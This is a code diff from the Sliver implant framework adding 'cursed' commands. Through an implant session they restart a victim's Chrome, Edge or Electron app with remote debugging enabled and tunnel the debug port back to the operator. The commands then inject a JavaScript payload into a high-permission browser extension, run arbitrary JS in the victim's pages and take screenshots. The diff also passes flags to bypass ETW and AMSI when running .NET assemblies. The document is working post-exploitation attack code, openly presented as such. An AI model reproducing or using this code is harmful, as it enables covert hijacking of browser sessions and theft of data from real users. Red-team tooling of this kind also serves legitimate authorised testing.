func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+135
View File
@@ -0,0 +1,135 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
"github.com/desertbit/readline"
)
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
HistoryFile: tmpFile.Name(),
// AutoComplete: nil,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
+170
View File
@@ -0,0 +1,170 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
var edgeProcessNames = []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+229
View File
@@ -0,0 +1,229 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe := ctx.Flags.String("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, ctx, con)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+75
View File
@@ -0,0 +1,75 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
kill := ctx.Flags.Bool("kill")
bindPort := ctx.Args.Int("bind-port")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -0,0 +1,69 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
+109
View File
@@ -0,0 +1,109 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
+31 -9
View File
@@ -24,6 +24,7 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -57,22 +58,43 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
runtime := ctx.Flags.String("runtime")
etwBypass := ctx.Flags.Bool("etw-bypass")
amsiBypass := ctx.Flags.Bool("amsi-bypass")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
